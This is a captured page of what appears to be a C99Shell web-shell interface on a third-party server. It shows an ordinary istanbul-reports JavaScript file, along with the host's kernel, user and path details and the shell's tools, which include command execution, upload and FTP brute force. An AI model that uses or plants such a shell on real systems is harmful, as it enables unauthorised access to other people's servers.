!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/node_modules/istanbul-reports/lib/html-spa/   drwxr-xr-x
Free 23.72 GB of 117.98 GB (20.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (5.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';
/*
 Copyright 2012-2015, Yahoo Inc.
 Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
 */
const fs = require('fs');
const path = require('path');
const { ReportBase } = require('istanbul-lib-report');
const HtmlReport = require('../html');

const standardLinkMapper = {
    getPath(node) {
        if (typeof node === 'string') {
            return node;
        }
        let filePath = node.getQualifiedName();
        if (node.isSummary()) {
            if (filePath !== '') {
                filePath += '/index.html';
            } else {
                filePath = 'index.html';
            }
        } else {
            filePath += '.html';
        }
        return filePath;
    },

    relativePath(source, target) {
        const targetPath = this.getPath(target);
        const sourcePath = path.dirname(this.getPath(source));
        return path.relative(sourcePath, targetPath);
    },

    assetPath(node, name) {
        return this.relativePath(this.getPath(node), name);
    }
};

class HtmlSpaReport extends ReportBase {
    constructor(opts = {}) {
        super({
            // force the summarizer to nested for html-spa
            summarizer: 'nested'
        });

        this.verbose = opts.verbose || false;
        this.linkMapper = opts.linkMapper || standardLinkMapper;
        this.subdir = opts.subdir || '';
        this.date = Date();
        this.skipEmpty = opts.skipEmpty;
        this.htmlReport = new HtmlReport(opts);
        this.htmlReport.getBreadcrumbHtml = function() {
            return '<a href="javascript:history.back()">Back</a>';
        };

        this.metricsToShow = opts.metricsToShow || [
            'lines',
            'branches',
            'functions'
        ];
    }

    getWriter(context) {
        if (!this.subdir) {
            return context.writer;
        }
        return context.writer.writerForDir(this.subdir);
    }

    onStart(root, context) {
        this.htmlReport.onStart(root, context);

        const writer = this.getWriter(context);
        const srcDir = path.resolve(__dirname, './assets');
        fs.readdirSync(srcDir).forEach(f => {
            const resolvedSource = path.resolve(srcDir, f);
            const resolvedDestination = '.';
            const stat = fs.statSync(resolvedSource);
            let dest;

            if (stat.isFile()) {
                dest = resolvedDestination + '/' + f;
                if (this.verbose) {
                    console.log('Write asset: ' + dest);
                }
                writer.copyFile(resolvedSource, dest);
            }
        });
    }

    onDetail(node, context) {
        this.htmlReport.onDetail(node, context);
    }

    getMetric(metric, type, context) {
        const isEmpty = metric.total === 0;
        return {
            total: metric.total,
            covered: metric.covered,
            skipped: metric.skipped,
            missed: metric.total - metric.covered,
            pct: isEmpty ? 0 : metric.pct,
            classForPercent: isEmpty
                ? 'empty'
                : context.classForPercent(type, metric.pct)
        };
    }

    toDataStructure(node, context) {
        const coverageSummary = node.getCoverageSummary();
        const metrics = {
            statements: this.getMetric(
                coverageSummary.statements,
                'statements',
                context
            ),
            branches: this.getMetric(
                coverageSummary.branches,
                'branches',
                context
            ),
            functions: this.getMetric(
                coverageSummary.functions,
                'functions',
                context
            ),
            lines: this.getMetric(coverageSummary.lines, 'lines', context)
        };

        return {
            file: node.getRelativeName(),
            isEmpty: coverageSummary.isEmpty(),
            metrics,
            children:
                node.isSummary() &&
                node
                    .getChildren()
                    .map(child => this.toDataStructure(child, context))
        };
    }

    onEnd(rootNode, context) {
        const data = this.toDataStructure(rootNode, context);

        const cw = this.getWriter(context).writeFile(
            this.linkMapper.getPath(rootNode)
        );

        cw.write(
            `<!doctype html>
            <html lang="en">
                <head>
                    <link rel="stylesheet" href="spa.css" />
                    <meta name="viewport" content="width=device-width, initial-scale=1">
                </head>
                <body>
                    <div id="app" class="app"></div>
                    <script>
                        window.data = ${JSON.stringify(data)};
                        window.generatedDatetime = ${JSON.stringify(
                            String(Date())
                        )};
                        window.metricsToShow = ${JSON.stringify(
                            this.metricsToShow
                        )};
                    </script>
                    <script src="bundle.js"></script>
                </body>
            </html>`
        );
        cw.close();
    }
}

module.exports = HtmlSpaReport;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--